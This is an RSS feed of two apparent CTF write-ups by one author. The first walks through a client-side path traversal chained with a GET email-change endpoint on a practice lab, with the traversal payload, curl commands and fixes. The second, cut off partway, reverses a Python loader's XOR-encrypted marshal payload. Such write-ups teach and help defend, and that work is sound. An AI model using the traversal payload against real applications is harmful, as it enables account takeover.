<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ABDULLAHI YUSUF on Medium]]></title>
        <description><![CDATA[Stories by ABDULLAHI YUSUF on Medium]]></description>
        <link>https://medium.com/@0daydeactive?source=rss-5d8b9deeef4b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*4xmvL4J0x3uGE7tBTKJGHw.jpeg</url>
            <title>Stories by ABDULLAHI YUSUF on Medium</title>
            <link>https://medium.com/@0daydeactive?source=rss-5d8b9deeef4b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 06:18:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0daydeactive/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From a Team Name to Account Takeover: Chaining Client-Side Path Traversal with a State-Changing GET.]]></title>
            <link>https://medium.com/@0daydeactive/from-a-team-name-to-account-takeover-chaining-client-side-path-traversal-with-a-state-changing-get-58cd8f60b821?source=rss-5d8b9deeef4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/58cd8f60b821</guid>
            <dc:creator><![CDATA[ABDULLAHI YUSUF]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 13:13:48 GMT</pubDate>
            <atom:updated>2026-11-16T13:13:48.880Z</atom:updated>
            <content:encoded><![CDATA[<h4>A Hack4Shell bug bounty lab walkthrough - recon, source review, exploit development, and the exact requests that captured the flag.</h4><h4>Author: ABDULLAHI YUSUF AKA 0daydeactive</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*feuWoYomxFqNRPvrCI7yKA@2x.jpeg" /></figure><h4>Before the story, the result. The lab returned:</h4><h4>BugHunt{………………}</h4><h4>The program’s outer flag wrapper is H4S-LAB{…}, so the submission-form value is:</h4><h4>The inner value is the exact string the server emitted. I’m showing both because labs sometimes wrap the internal token when you submit it, and I don’t want anyone to lose points on a formatting technicality.</h4><h3><strong>What this bug actually is?</strong></h3><h4>On the surface this looks like a boring “path traversal.” It isn’t. There is no ../ in a file path, no include(), and no server-side filesystem access. The traversal happens inside the victim’s browser, in the URL parser, before a single byte leaves the machine.</h4><h4>That class of bug is called client-side path traversal (CSPT). Attacker-controlled data is interpolated into a URL path in front-end code. The browser normalizes .. segments per RFC 3986 §5.2.4, the request escapes its intended route, and lands on a different API endpoint – one that trusts the request because it comes from the app itself.</h4><h4>Chain that with an endpoint that changes account state on a GET request with no CSRF token, and the escape hatch becomes account takeover.</h4><h3><strong>The full chain, in one line:</strong></h3><pre>free-text team name → /api/join/team/${teamName} → browser removes ../ → GET /api/change/email?email=… → victim&#39;s email is attacker-controlled</pre><h3>Lab Briefing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*rHTMz_Wlv8BpSNTwPJbDDg@2x.jpeg" /></figure><h4>The login screen helpfully lists the lab credentials. In a real engagement you would not get this, but the methodology is identical – enumerate the app, read its JavaScript, follow every user-controlled value to a sink.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*7MzJJ4VfXPLHCyxdTQNBHA@2x.jpeg" /></figure><h3>Phase 1 – Recon: read the client, not just the server</h3><h4>Most hunters start by throwing payloads at endpoints. I start by reading the JavaScript. In a modern SPA, the front end is the attack surface documentation: it tells you every route, every parameter name, and every place the developers forgot to encode.</h4><h3>1.1 Fetch the shell and the bundle</h3><pre>curl -s https://bughuntlabs.vercel.app/ -o index.html<br>curl -s https://bughuntlabs.vercel.app/app.js -o app.js</pre><h4>app.js was 6,149 bytes – small enough to read completely. That is a gift. On a real target you’d beautify and grep a multi-megabyte bundle; here I could do a full source review.</h4><h3>1.2 Map the API surface</h3><h4>The routes were visible straight from the fetch calls:</h4><pre>POST /api/login<br>POST /api/logout<br>GET  /api/me<br>GET  /api/teams<br>POST /api/create/team<br>GET  /api/join/team/:name<br>POST /api/change/email</pre><h4>Two things jump out immediately:</h4><h4>/api/join/team/:name puts a user-controlled string into a URL path.</h4><h4>/api/change/email is reachable as a GET if the server accepts it – and the join route is only two .. segments away.</h4><h3>1.3 Confirm the methods</h3><h4>Never assume. Ask the server what it allows:</h4><pre>curl -s -i -X OPTIONS https://bughuntlabs.vercel.app/api/change/email</pre><pre>HTTP/1.1 200 OK<br>Allow: GET, HEAD, POST<br>Content-Type: text/plain<br>Server: Vercel<br>X-Powered-By: Express<br></pre><h4>Allow: GET, HEAD, POST is the whole ballgame. A state-changing operation that answers to GET can be triggered by a URL – a link, an image, a prefetch, or in this case the application’s own JavaScript.</h4><h3>Phase 2 – Source review: the vulnerable line</h3><h4>Here is the join logic, verbatim from app.js:</h4><pre>// app.js<br>async function joinTeam(teamName) {<br>  const errEl = $(&#39;#joinError&#39;);<br>  errEl.classList.add(&#39;hidden&#39;);<br><br>  const { ok, data } = await api(`/api/join/team/${teamName}`);<br><br>  if (!ok) {<br>    errEl.textContent = data.error || &#39;Could not join team&#39;;<br>    errEl.classList.remove(&#39;hidden&#39;);<br>    return;<br>  }<br><br>  if (data.team) {<br>    showToast(&#39;You joined the team&#39;, `You are now a member of ${data.team.name}.`);<br>    showFlag(data.flag);<br>  } else if (typeof data.email === &#39;string&#39;) {<br>    userEmail.textContent = data.email;<br>    showToast(&#39;Email updated&#39;, `Your account now uses ${data.email}.`);<br>    showFlag(data.flag);<br>  } else {<br>    errEl.textContent = &#39;The request succeeded with an unexpected response.&#39;;<br>    errEl.classList.remove(&#39;hidden&#39;);<br>    return;<br>  }<br>  loadTeams();<br>}</pre><h3>Line 5 is the bug:</h3><pre>const { ok, data } = await api(`/api/join/team/${teamName}`);</pre><h4>TeamName is interpolated raw into a URL path. No encodeURIComponent. No allowlist. No validation.</h4><h4>And where does teamName come from? A free-text form field. Here is team creation:</h4><pre>$(&#39;#createTeamForm&#39;).addEventListener(&#39;submit&#39;, async e =&gt; {<br>  e.preventDefault();<br>  const name = $(&#39;#teamName&#39;).value;<br>  const errEl = $(&#39;#createError&#39;);<br>  errEl.classList.add(&#39;hidden&#39;);<br><br>  const { ok, data } = await api(&#39;/api/create/team&#39;, {<br>    method: &#39;POST&#39;,<br>    body: JSON.stringify({ name })<br>  });<br><br>  if (!ok) {<br>    errEl.textContent = data.error || &#39;Could not create team&#39;;<br>    errEl.classList.remove(&#39;hidden&#39;);<br>    return;<br>  }<br><br>  $(&#39;#teamName&#39;).value = &#39;&#39;;<br>  showToast(&#39;Team created&#39;, `${data.team.name} is ready for your team.`);<br>  loadTeams();<br>});</pre><h4>The name goes to the server as-is, comes back as-is, and is rendered into the team list as-is. Crucially, look at the rendering code:</h4><pre>pill.innerHTML = `<br>  &lt;div&gt;<br>    &lt;div class=&quot;team-name&quot;&gt;${escapeHtml(team.name)}&lt;/div&gt;<br>    &lt;div class=&quot;team-meta&quot;&gt;owner: ${escapeHtml(team.createdBy)} · members: ${team.members.length}&lt;/div&gt;<br>  &lt;/div&gt;<br>  &lt;button class=&quot;btn btn-primary btn-small&quot;&gt;Join&lt;/button&gt;<br>`;<br>pill.querySelector(&#39;button&#39;).addEventListener(&#39;click&#39;, () =&gt; joinTeam(team.name));</pre><h4>The developer did the right thing for display: escapeHtml(team.name) blocks XSS. But the click handler passes the raw team.name into joinTeam(), which drops it into a URL. The value is safe on the screen and dangerous in the request. That mismatch – sanitized for HTML, unsanitized for URL – is the entire vulnerability class in miniature.</h4><h4>The API helper adds no protection either:</h4><pre>async function api(url, options = {}) {<br>  const res = await fetch(url, {<br>    headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },<br>    ...options<br>  });<br>  let data = {};<br>  try { data = await res.json(); } catch (_) { /* non-JSON response */ }<br>  return { ok: res.ok, status: res.status, data };<br>}</pre><h4>fetch() resolves the URL against the document origin and normalizes it. The wrapper never checks that the final URL stays inside /api/join/team/.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*Mv_kGCJTL6hsXKy9TtfLxw@2x.jpeg" /></figure><h4>Phase 3 – Understanding the traversal</h4><h4>The intended request is:</h4><pre>/api/join/team/&lt;name&gt;</pre><h4>If &lt;name&gt; is:</h4><pre>../../change/email?email=attacker-backup%40example.com</pre><h4>Then the front end builds:</h4><pre>/api/join/team/../../change/email?email=attacker-backup%40example.com</pre><h4>Before sending, the URL parser applies RFC 3986 §5.2.4 – Remove Dot Segments. Each .. pops one path segment:</h4><pre>/api/join/team/../../change/email<br>        └── team ┘└─ join ─┘</pre><h3>1- .. removes team</h3><h3>2- .. removes join</h3><h4>3- The remaining path is /api/change/email</h4><h4>The browser then sends:</h4><pre>GET /api/change/email?email=attacker-backup%40example.com HTTP/2<br>Cookie: connect.sid=&lt;victim session&gt;</pre><h4>This is not a bug in the browser. It is the browser doing exactly what the URL standard says. The bug is that the application trusted a string to be a path segment when it was really arbitrary path syntax.</h4><h4>You can verify the normalization locally without touching the target, using the same WHATWG URL parser the browser uses:</h4><pre>new URL(<br>  &#39;/api/join/team/../../change/email?email=attacker-backup%40example.com&#39;,<br>  &#39;https://bughuntlabs.vercel.app&#39;<br>).href<br><br>// &quot;https://bughuntlabs.vercel.app/api/change/email?email=attacker-backup%40example.com&quot;</pre><h4>It also reproduces with curl, which performs the same collapse unless you pass – path-as-is:</h4><pre>curl -s -o /dev/null -w &#39;%{url_effective}\n&#39; \<br>  &#39;https://bughuntlabs.vercel.app/api/join/team/../../change/email?email=nobody%40example.com&#39;</pre><pre>https://bughuntlabs.vercel.app/api/change/email?email=nobody%40example.com</pre><h4>With – path-as-is, curl refuses to normalize and puts the literal path on the wire:</h4><pre>https://bughuntlabs.vercel.app/api/join/team/../../change/email?email=nobody%40example.com</pre><h4>On this target that request still reached /api/change/email and returned 200. The Vercel edge normalized the dot segments before Express routed it. That matters: the traversal works even if the sending client declines to collapse it, because an intermediary does the collapse for you.</h4><h4>The attacker never needs to send a raw traversal byte. The victim’s own browser performs the pivot, and any normalizing layer in between cooperates.</h4><h3>Phase 4 – Building the exploit</h3><h4>4.1 Create the malicious team</h4><h4>Log in as the attacker and create a team whose name is the traversal payload. The server stores it verbatim and returns it:</h4><pre>curl -s -i -c attacker.cookies \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;name&quot;:&quot;../../change/email?email=attacker-backup%40example.com&quot;}&#39; \<br>  https://bughuntlabs.vercel.app/api/create/team</pre><pre>HTTP/1.1 200 OK<br>Content-Type: application/json; charset=utf-8<br>Server: Vercel<br>X-Powered-By: Express<br><br>{&quot;success&quot;:true,&quot;team&quot;:{&quot;id&quot;:1,&quot;name&quot;:&quot;../../change/email?email=attacker-backup%40example.com&quot;,&quot;createdBy&quot;:&quot;attacker@example.com&quot;,&quot;members&quot;:[&quot;attacker@example.com&quot;]}}</pre><h4>Note what did not happen: no rejection, no sanitization, no length limit, no character allowlist. The server happily persisted .., /, ?, and %40 inside a “team name.”</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*uYzL_pZd5xVKnwkuK9hwzQ@2x.jpeg" /></figure><h4>4.2 Why the payload is shaped this way</h4><pre>../../change/email?email=attacker-backup%40example.com<br>└────┬────┘ └─────┬─────┘ └──────────┬──────────────────┘<br>   pop 2         new route           query string<br>  segments</pre><h4>1-Two .. segments: /api/join/team/ has two segments after /api, so two pops land exactly on /api/change/email.</h4><h4>2-%40 is the URL-encoded @. The target’s email input is type=”email”, and @ inside a query value is legal but encoding it avoids any client-side parsing surprises.</h4><h4>3-The query is part of the team name, so it survives storage and is appended to the path when the victim joins.</h4><h4>4.3 What the victim does</h4><h4>The victim logs in normally:</h4><pre>curl -s -i -c victim.cookies \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;email&quot;:&quot;victim@example.com&quot;,&quot;password&quot;:&quot;1234&quot;}&#39; \<br>  https://bughuntlabs.vercel.app/api/login</pre><pre>HTTP/1.1 200 OK<br>Set-Cookie: connect.sid=...; Path=/; HttpOnly; Secure; SameSite=Lax<br><br>{&quot;success&quot;:true,&quot;email&quot;:&quot;victim@example.com&quot;,&quot;flag&quot;:null}</pre><h4>The team appears in their Available teams list. The name renders as harmless text because of escapeHtml, and the button looks ordinary:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*QCtMdAbkWQtjcasvSkvpGg@2x.jpeg" /></figure><h4>One click on Join calls:</h4><pre>joinTeam(&quot;../../change/email?email=attacker-backup%40example.com&quot;);</pre><h4>The browser normalizes the path, sends GET /api/change/email?email=attacker-backup%40example.com with the victim’s session cookie, and the server changes the victim’s email.</h4><h4>That is the pivot: a same-origin fetch() initiated by the application’s own JavaScript. SameSite=Lax does not help here – this is not a cross-site request. The app itself is the confused deputy.</h4><h3>Phase 5 – Executing the chain and capturing the flag</h3><h4>5.1 The exact normalized request</h4><h4>For a reproducible terminal proof, issue the request the victim’s browser would send – same method, same path, same cookie jar:</h4><pre>curl -s -i -b victim.cookies \<br>  &#39;https://bughuntlabs.vercel.app/api/change/email?email=attacker-backup%40example.com&#39;</pre><pre>HTTP/1.1 200 OK<br>Content-Type: application/json; charset=utf-8<br>Server: Vercel<br>X-Powered-By: Express<br><br>{&quot;success&quot;:true,&quot;email&quot;:&quot;attacker-backup@example.com&quot;,&quot;flag&quot;:&quot;BugHunt{cl13nt_****_****_hack4shell}&quot;}</pre><h4>The response is the confirmation: success: true, the new email is the attacker’s, and the lab releases the flag.</h4><h3>5.2 Verify persistence</h3><h4>A flag response can be a one-off. Confirm the account really changed:</h4><pre>curl -s -i -b victim.cookies https://bughuntlabs.vercel.app/api/me</pre><pre>HTTP/1.1 200 OK<br><br>{&quot;authenticated&quot;:true,&quot;email&quot;:&quot;attacker-backup@example.com&quot;,&quot;flag&quot;:&quot;BugHunt{cl13nt_***_***_****_hack4shell}&quot;}</pre><h4>The victim’s session now authenticates as attacker-backup@example.com. That is the takeover primitive – and from here, a password-reset flow would hand the attacker full control of the account.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*RIqc12Qld0aTvWVfiCRKRA@2x.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*hJY9XP3Ejfd159j6p962Yw@2x.jpeg" /></figure><h3>Phase 6 – The complete attack chain</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*8YXSxkFrATl5kmxIIeR1kA@2x.jpeg" /></figure><h4>1-Attacker submits a free-text team name containing ../../change/email?email=….</h4><h4>2-Server stores and returns the name verbatim.</h4><h4>3-Victim sees the team in their list; the name is HTML-escaped, so it looks inert.</h4><h4>4-Victim clicks Join.</h4><h4>5-Browser interpolates the raw name into /api/join/team/${teamName} and removes dot segments.</h4><h4>6-Request becomes GET /api/change/email?email=attacker-backup%40example.com with the victim’s cookie.</h4><h4>7-Server changes the victim’s email on a GET, with no CSRF token and no re-authentication.</h4><h4>8-Attacker controls the recovery email → password reset → full account takeover.</h4><h3>Why this is more than a lab curiosity</h3><h4>Strip away the lab branding and this is a recurring production pattern:</h4><pre>// A &quot;safe&quot; ID that is really a free-text slug<br>fetch(`/api/v1/workspaces/${workspace.slug}/members`);<br><br>// A router push with a user-controlled segment<br>router.push(`/settings/${tab}`);<br><br>// A &quot;next&quot; parameter glued onto an API path<br>fetch(`/api/oauth/continue/${encodeURIComponent(state.next)}`);</pre><h4>Any of these can pivot to a sibling endpoint if the framework or browser normalizes .. and the destination endpoint accepts the resulting method. The dangerous combinations are:</h4><h4>1-User-controlled path segments : Slugs, names, IDs from query strings, imported CSV data, or values copied from another tenant.</h4><h4>2-GET endpoints that mutate state: Email change, password change, MFA disable, invite acceptance, role change, API-key rotation.</h4><h4>3-No CSRF protection on those endpoints: Because the request originates same-origin, SameSite cookies and CORS do nothing.</h4><h4>4-No re-authentication for sensitive changes: If the app asks for the current password, a single click is not enough.</h4><h4>The browser does the exploit development for you. You only need to find the sink.</h4><h3>Root cause</h3><h4>Three independent failures line up:</h4><h4>1-Unencoded interpolation into a URL path. joinTeam trusts team.name to be a path segment.</h4><h4>2-State-changing GET. /api/change/email accepts GET and mutates the account.</h4><h4>3-No CSRF token / re-auth on a sensitive change. The endpoint accepts whatever session cookie arrives.</h4><h4>Any one of these would have prevented the takeover. Together they turn a label field into an account-takeover primitive.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*obNjYnNBDIN3Aoj7YhJ-VA@2x.jpeg" /></figure><h3>Remediation</h3><h4>Fix 1 – Encode the path segment</h4><pre>const safeName = encodeURIComponent(team.name);<br>await api(`/api/join/team/${safeName}`);</pre><h4>encodeURIComponent turns every / into %2F, so the payload collapses into a single opaque segment:</h4><pre>..%2F..%2Fchange%2Femail%3Femail%3Dattacker-backup%40example.com</pre><h4>The browser no longer sees standalone .. segments or a live ?, so no dot-segment removal occurs. That does block this exact exploit. Keep it as defense in depth rather than the only fix: some proxies and servers decode %2F before routing, which can re-introduce the traversal downstream.</h4><h4>Fix 2 – Never put names in path positions. Use opaque IDs.</h4><pre>// Server returns { id, name }. The client only ever sends the ID.<br>await api(`/api/join/team/${encodeURIComponent(team.id)}`);</pre><h4>IDs are server-generated and validated server-side against the session’s tenant. A user cannot smuggle ../ through an integer or UUID.</h4><h4>Fix 3 – Make state changes POST-only, with CSRF protection</h4><pre>app.post(<br>  &#39;/api/change/email&#39;,<br>  requireAuth,<br>  requireCsrfToken,<br>  requireCurrentPassword,<br>  changeEmailHandler<br>);</pre><h4>Remove GET and HEAD from the route entirely. If a GET must exist for previews, make it read-only and return no side effects.</h4><h4>Fix 4 – Validate team names with an allowlist</h4><pre>const TEAM_NAME = /^[A-Za-z0-9 _-]{1,64}$/;<br><br>app.post(&#39;/api/create/team&#39;, requireAuth, (req, res) =&gt; {<br>  const { name } = req.body;<br>  if (typeof name !== &#39;string&#39; || !TEAM_NAME.test(name)) {<br>    return res.status(400).json({ error: &#39;Invalid team name&#39; });<br>  }<br>  // ...<br>});</pre><h4>Reject ., /, ?, #, %, and control characters up front. This kills the payload at the source instead of relying on every consumer to encode correctly.</h4><h3>Fix 5 – Defense in depth on the server</h3><h4>1-Assert that the resolved path matches the expected route prefix before handling.</h4><h4>2-Reject requests whose original URL contains encoded traversal sequences.</h4><h4>3-Require the current password (or a fresh MFA challenge) for email changes.</h4><h4>4-Send a confirmation link to the old address before switching recovery email.</h4><h4>5-Log and alert on email changes from anomalous sessions.</h4><h3>The mental model</h3><p>Every user-controlled string that ends up in a URL is a potential route selector until proven otherwise.</p><h3>How to hunt this class yourself</h3><h4>1-Read the front-end bundle: Beautify it, then grep for interpolated URLs: bash grep -nE ‘`[^`]*\$\{‘ app.js grep -nE ‘fetch\(|axios\.|router\.(push|replace)|location\.(href|assign)’ app.js</h4><h4>2-Trace every variable in those template literals back to an input: Forms, URL params, localStorage, API responses, and imported files all count.</h4><h4>3-Look for path-position sinks, not just query strings: /api/thing/${value}, /u/${handle}, /files/${name}.</h4><h4>4-Check whether sibling routes mutate state: Run OPTIONS on every candidate endpoint. Allow: GET on a write operation is a finding by itself.</h4><h4>5-Try a benign traversal first – ../ and observe the resulting request in DevTools or with curl -w ‘%{url_effective}’. No need to weaponize until you know where it lands.</h4><h4>6-Check CSRF and re-auth: Same-origin fetch bypasses SameSite. If there’s no token and no password prompt, one click is enough.</h4><h4>7-Prove impact with the smallest possible state change: A changed display name is enough to demonstrate the pivot; a changed recovery email demonstrates takeover.</h4><h4>Detection signatures to watch in logs</h4><pre>/api/join/team/..%2F..%2F<br>/api/join/team/../../change/<br>%2e%2e%2f</pre><h4>Also alert on GET /api/change/email, GET /api/*/password, and any 2xx response to a state-changing verb that should not exist.</h4><h3>Lab quirk worth mentioning</h3><h4>The target runs on Vercel with Express and keeps sessions and teams in per-instance memory. Because requests can land on different instances, /api/teams sometimes returns an empty list even after a team was created, and a session can appear to “lose” its team between requests. This is a deployment artifact, not a flaw in the exploit: the normalized GET /api/change/email is what the victim’s browser sends after the click, and it consistently returned 200 with the flag once executed on the session’s instance.</h4><h4>If you reproduce this, run the steps sequentially rather than in parallel, and don’t chase the empty-team response – it’s the edge, not the bug.</h4><h3>Takeaways</h3><h4>1-Client-side path traversal is a real, high-impact bug class: The browser’s URL parser is an implicit decoder/normalizer that developers rarely model.</h4><h4>2-HTML escaping is not URL escaping: The team name was safe in the DOM and dangerous in fetch(). Sanitize per sink, not per string.</h4><h4>3-A state-changing GET is a vulnerability on its own: It turns any URL-producing primitive into a CSRF primitive.</h4><h4>4-Chains beat single bugs: Neither the traversal nor the GET-only email change is catastrophic alone. Together they are account takeover.</h4><h4>5-Read the client: The entire exploit was visible in 6 KB of JavaScript before a single payload was sent.</h4><h3>Appendix A – Every command used</h3><h4>Run on Windows PowerShell; curl.exe is the real curl. All requests are sequential.</h4><p>Note on quoting: the -d examples below use PowerShell’s escaping for the inner JSON quotes. In bash or zsh, drop the backslashes – -d ‘{“email”:”…”}’ – as shown in the body of the article.</p><h3>Fetch the client</h3><pre>curl.exe -s &quot;https://bughuntlabs.vercel.app/&quot; -o &quot;writeup\evidence\index.html&quot;<br>curl.exe -s &quot;https://bughuntlabs.vercel.app/app.js&quot; -o &quot;writeup\evidence\app.js&quot;</pre><h3>Probe allowed methods</h3><pre>curl.exe -s -i -X OPTIONS &quot;https://bughuntlabs.vercel.app/api/change/email&quot;</pre><h3>Prove URL normalization</h3><pre>$base=&quot;https://bughuntlabs.vercel.app&quot;<br><br>curl.exe -s -o NUL -w &quot;as-written : %{url_effective}`n&quot; `<br>  &quot;$base/api/join/team/../../change/email?email=nobody%40example.com&quot;<br><br>curl.exe -s -o NUL -w &quot;path-as-is : %{url_effective}`n&quot; --path-as-is `<br>  &quot;$base/api/join/team/../../change/email?email=nobody%40example.com&quot;</pre><pre>as-written : https://bughuntlabs.vercel.app/api/change/email?email=nobody%40example.com<br>path-as-is : https://bughuntlabs.vercel.app/api/join/team/../../change/email?email=nobody%40example.com </pre><h3>Log in as the attacker</h3><pre>curl.exe -s -i -c &quot;writeup\evidence\attacker.cookies&quot; `<br>  -H &quot;Content-Type: application/json&quot; `<br>  -d &#39;{\&quot;email\&quot;:\&quot;attacker@example.com\&quot;,\&quot;password\&quot;:\&quot;carlos2\&quot;}&#39; `<br>  &quot;https://bughuntlabs.vercel.app/api/login&quot;</pre><h3>Create the malicious team</h3><pre>curl.exe -s -i -b &quot;writeup\evidence\attacker.cookies&quot; `<br>  -c &quot;writeup\evidence\attacker.cookies&quot; `<br>  -H &quot;Content-Type: application/json&quot; `<br>  -d &#39;{\&quot;name\&quot;:\&quot;../../change/email?email=attacker-backup%40example.com\&quot;}&#39; `<br>  &quot;https://bughuntlabs.vercel.app/api/create/team&quot;</pre><h3>Log in as the victim</h3><pre>curl.exe -s -i -c &quot;writeup\evidence\victim.cookies&quot; `<br>  -H &quot;Content-Type: application/json&quot; `<br>  -d &#39;{\&quot;email\&quot;:\&quot;victim@example.com\&quot;,\&quot;password\&quot;:\&quot;1234\&quot;}&#39; `<br>  &quot;https://bughuntlabs.vercel.app/api/login&quot;</pre><h3>List teams (optional, instance-dependent)</h3><pre>curl.exe -s -i -b &quot;writeup\evidence\victim.cookies&quot; `<br>  &quot;https://bughuntlabs.vercel.app/api/teams&quot;</pre><h3>Trigger the takeover</h3><pre>curl.exe -s -i -b &quot;writeup\evidence\victim.cookies&quot; `<br>  &quot;https://bughuntlabs.vercel.app/api/change/email?email=attacker-backup%40example.com&quot;</pre><h3>Verify persistence</h3><pre>curl.exe -s -i -b &quot;writeup\evidence\victim.cookies&quot; `<br>  &quot;https://bughuntlabs.vercel.app/api/me&quot;</pre><p>Browser console equivalent</p><pre>// Run in the victim&#39;s tab. This is exactly what clicking Join does.<br>await fetch(&#39;/api/join/team/../../change/email?email=attacker-backup%40example.com&#39;);</pre><p>End</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58cd8f60b821" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dormant Seed: Reversing a Custom Python Loader and Its Hidden Virtual Machine]]></title>
            <link>https://medium.com/@0daydeactive/dormant-seed-reversing-a-custom-python-loader-and-its-hidden-virtual-machine-65a9ba8f8e26?source=rss-5d8b9deeef4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/65a9ba8f8e26</guid>
            <dc:creator><![CDATA[ABDULLAHI YUSUF]]></dc:creator>
            <pubDate>Sun, 01 Nov 2026 08:23:15 GMT</pubDate>
            <atom:updated>2026-11-01T08:26:26.017Z</atom:updated>
            <content:encoded><![CDATA[<p>CTF Write-up | Malware analysis For Reverse Engineering | Python Internals | Bytecode Analysis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*XaxkvVlzcL77bPFe2F9vmA@2x.jpeg" /></figure><p>Author: ABDULLAHI YUSUF – aka 0daydeactive</p><p>Challenge: dormant-seed – Activate the Dormancy</p><p>⸻</p><p>Introduction</p><p>At first glance, loader.dsk looked like an ordinary disk image. Its extension suggested a legacy storage format, but its small size and unusual header told a different story.</p><p>The challenge, Activate the Dormancy, was built around a custom binary container, a serialized Python code object, a repeating-key XOR layer, and a miniature virtual machine whose instructions were deliberately misleading.</p><p>The interesting part was not simply decrypting the payload. It was understanding how the layers fit together without blindly executing an unknown program.</p><p>In this write-up, I’ll walk through the analysis process, from identifying the container format to reversing the virtual machine and recovering the final flag.</p><ol><li>First Contact: A Disk Image That Wasn’t a Disk Image</li></ol><p>The challenge archive contained two files:</p><ul><li>loader.dsk – the primary challenge artifact.</li><li>* __MACOSX/._loader.dsk – macOS metadata.</li></ul><p>The main file was only 3,371 bytes long. Its first bytes were:</p><p>000000. 44 53 4B 31 00 00 04 64 00 00 08 6B …</p><p>. D. S. K. 1</p><p>The magic bytes DSK1 immediately stood out.</p><p>Although .dsk commonly refers to disk images, the header did not establish that this was a genuine disk format. The small file size and the structured length fields suggested a custom container instead.</p><p>Rather than relying on the extension, I treated the file as an unknown binary format and started examining its layout.</p><p>2. Reconstructing the Container</p><p>The first twelve bytes revealed three important fields:</p><p>Offset	Size	Meaning</p><p>0x00	4 bytes	Magic: DSK1</p><p>0x04	4 bytes	Stub length: 1,124 bytes</p><p>0x08	4 bytes	Payload length: 2,155 bytes</p><p>Both lengths were stored as big-endian unsigned integers.</p><p>The next 64 bytes contained a repeated value, followed by the serialized stub and the encrypted payload.</p><p>The reconstructed layout was:</p><p>Offset	Content</p><p>0x00 – 0x0B	Container header</p><p>0x0C – 0x4B	64-byte seed field</p><p>0x4C – 0x4AF	Python stub</p><p>0x4B0 – 0xD1A	Encrypted payload</p><p>0xD1B – 0xD2A	Archive trailer</p><p>The length arithmetic confirmed the boundaries:</p><p>0x4C + 1124 = 0x4B0</p><p>0x4B0 + 2155 = 0xD1B</p><p>The trailer contained:</p><p>END-DSK-ARCHIVE\0</p><p>The 64-byte field consisted of the same 32-byte sequence repeated twice:</p><p>8ed1b9674a85f25c85268e7c8a25df5b</p><p>2de216eab420f0d9d8808a0f5d9e8b48</p><p>This was the first major clue. The repeated field looked less like a conventional digital signature and more like material intended for a key-derivation step.</p><p>Identifying the Python code object</p><p>At offset 0x4C, the stub began with byte 0xE3.</p><p>In the relevant CPython marshal format, this corresponds to the code-object type marker with the reference flag set.</p><p>That observation changed the direction of the investigation: instead of searching for executable machine code, I focused on Python’s serialized code objects.</p><p>I extracted the stub and inspected it with Python:</p><p>import marshal</p><p>import dis</p><p>data = open(“loader.dsk”, “rb”).read()</p><p>stub = data[0x4C:0x4C + 1124]</p><p>code = marshal.loads(stub)</p><p>dis.dis(code)</p><p>Python 3.13 successfully disassembled the object, whereas Python 3.12 produced invalid instruction interpretations for this sample.</p><p>This demonstrated an important reverse-engineering lesson: Python marshal data is version-sensitive, and bytecode must be interpreted using a compatible CPython version.</p><p>Key takeaway: File extensions describe expectations, not reality. The binary structure provided much stronger evidence than the .dsk suffix.</p><p>3. Reversing the Unpacking Stub</p><p>The stub contained a function called unpack(raw).</p><p>Its purpose was to extract the encrypted payload, derive a key from the repeated seed field, and deserialize the decrypted result.</p><p>The core logic was equivalent to:</p><p>import hashlib</p><p>import marshal</p><p>sig = raw[12:76]</p><p>key = hashlib.sha256(sig).digest()</p><p>encrypted = raw[0x4B0:0x4B0 + 2155]</p><p>decrypted = bytes(</p><p>. value ^ key[i % len(key)]</p><p>. for i, value in enumerate(encrypted)</p><p>)</p><p>payload_code = marshal.loads(decrypted)</p><p>The transformation was straightforward once the structure was understood.</p><p>The supposed signature</p><p>The 64-byte field was not being used as a conventional cryptographic signature. Instead, the entire field was hashed using SHA-256:</p><p>[</p><p>K = \operatorname{SHA256}(\text{seed})</p><p>]</p><p>The resulting 32-byte digest became the repeating XOR key.</p><p>The encryption layer</p><p>Each ciphertext byte was XORed with the corresponding key byte, cycling through the key as necessary:</p><p>[</p><p>P_i = C_i \oplus K_{i \bmod 32}</p><p>]</p><p>Here:</p><ul><li>(C_i) is a ciphertext byte.</li><li>* (P_i) is the corresponding plaintext byte.</li><li>* (K) is the 32-byte derived key.</li></ul><p>Because XOR is its own inverse, applying the same operation again restores the original data.</p><p>After decryption, the output could be interpreted as another serialized Python code object.</p><p>The first stage was therefore not a sophisticated encryption system. It was a custom container with a deterministic key-derivation step and repeating-key XOR obfuscation.</p><p>A note on safe analysis</p><p>marshal.loads() reconstructs Python objects; it does not automatically execute a reconstructed code object. However, deserializing 